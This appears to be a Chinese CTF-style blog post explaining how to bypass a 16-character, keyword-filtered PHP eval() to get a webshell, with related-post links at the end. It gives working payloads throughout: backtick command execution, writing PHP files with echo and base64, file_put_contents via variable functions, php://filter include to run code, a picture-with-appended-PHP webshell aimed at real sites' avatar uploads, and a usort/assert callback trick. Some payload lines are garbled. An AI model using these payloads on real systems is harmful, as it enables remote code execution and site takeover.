EVAL长度限制突破方法

EVAL长度限制突破方法

复制代码
<?php
$param = $_REQUEST['param']; 
If (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false) //长度小于17,没有eval和assert关键字
{
    eval($param);
}
//stripos --- 查找字符串首次出现的位置(不区分大小写)

eval函数参数限制在16个字符的情况下,如何拿到Webshell?

`$_GET1'

相似答案:

复制代码
exec($_GET[1]); 

linux下反引号可以执行命令

?param=echo $_GET[0];&0=id

那么就可以写一些内容到一些文件里去

再访问一下

param=echo%20$_GET[0];&0=param=echo $_GET[0];&0=echo '<?php phpinfo();' > a.php

写入成功

也可以使用base64编码写入:echo PD9waHAgcGhwaW5mbygpOw | base64 -d > aa.php

param=$_GET1;

php 复制代码
param=$_GET[1](N,P,8); &1=file_put_contents //file_put_contents将数据写入文件
......
最后把PD9waHAgcGhwaW5mbygpOw写进文件N。
那怎么解码执行呢?
param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
read读取N里面的内容进行base64解码。虽然N不是php文件,但是文件包含可以把任意一个文件里面的php代码执行起来

php:// --- 访问各个输入/输出流(I/O streams)
php://filter是一种元封装器, 设计用于数据流打开时的筛选过滤应用。(可用的过滤器:字符串过滤器、转换过滤器、压缩过滤器、加密过滤器)
这里用转换过滤器:convert.base64-encode 和 convert.base64-decode。使用这两个过滤器等同于分别用 base64_encode() 和 base64_decode() 函数处理所有的流数据。
文件包含

找一张普通图片

写一个php文件

copy /b 001.png + web.php /a web.jpg----------/b → 表示以二进制模式处理 001.png

​ + → 表示合并文件。

​ web.php→ 第二个文件。

​ /a→ 表示以 ASCII 文本模式 处理 web.php。

​ web.jpg → 最终输出的文件名。

web.jpg可以正常打开看到图片,使用记事本打开图片,可以在文件的最后看到写入的php代码。

很多网站都有上传图片的功能(上传头像等),上传之后检查代码就可以看到上传的路径,用include_$GET'文件路径'就可以了。

文件包含可以把任意一个文件里面的php代码执行起来

usort(...$_GET);

复制代码
?1[]=test&1[]=phpinfo();&2=assert

在windows上访问

使用BurpSuite抓包

抓到之后发送给Repeater,然后转换为POST

在php的整体运行流程中允许POST和GET同步执行

(...$_GET(变长参数))把1\[\]=test&1\[\]=phpinfo();&2=assert接过来了,然后就放到usort中,一个数组,一个回调函数。

发送

相关推荐
Sagittarius_A*6 天前
【RCELABS】Level 17~18 —— PHP命令执行函数与环境变量注入
开发语言·安全·web安全·靶场·php·rce
Sagittarius_A*10 天前
【RCELABS】Level 1~4 —— 基础篇
靶场·php·ctf·代码审计·rce
nix.gnehc16 天前
工具选型:5 个工具对比
人工智能·eval·评测
nix.gnehc16 天前
评测工程化:从手动到持续
人工智能·eval·评测
nix.gnehc17 天前
评测认知基座
人工智能·eval·评测
cuso4win2 个月前
Agent 项目里的 Eval 到底是什么?怎么分类?不同项目应该怎么评测?
笔记·python·agent·eval
行者-全栈开发2 个月前
CVE-2026-33017:Langflow AI工作流平台未授权RCE漏洞深度剖析与紧急修复指南
人工智能·rce·漏洞修复·ai安全·langflow·cvss 10.0·cve-2026-33017
Eileen Seligman2 个月前
0CTF/TCTF 2023 OLAPInfra Nashorn RCE + HDFS UDF RCE
大数据·hadoop·hdfs·ctf·rce
Eason_LYC2 个月前
【GetShell 实战】CVE-2026-34486 Tomcat 加密拦截器绕过:从漏洞验证到反弹 Shell 全流程
java·渗透测试·tomcat·java反序列化·rce·远程代码执行漏洞·cve-2026-34486
行者-全栈开发2 个月前
CVE-2026-20131:Cisco防火墙管理中枢未授权RCE漏洞深度剖析与紧急修复指南
web安全·rce·防火墙安全·cve-2026-20131·cisco fmc·远程代码执行·cvss 10.0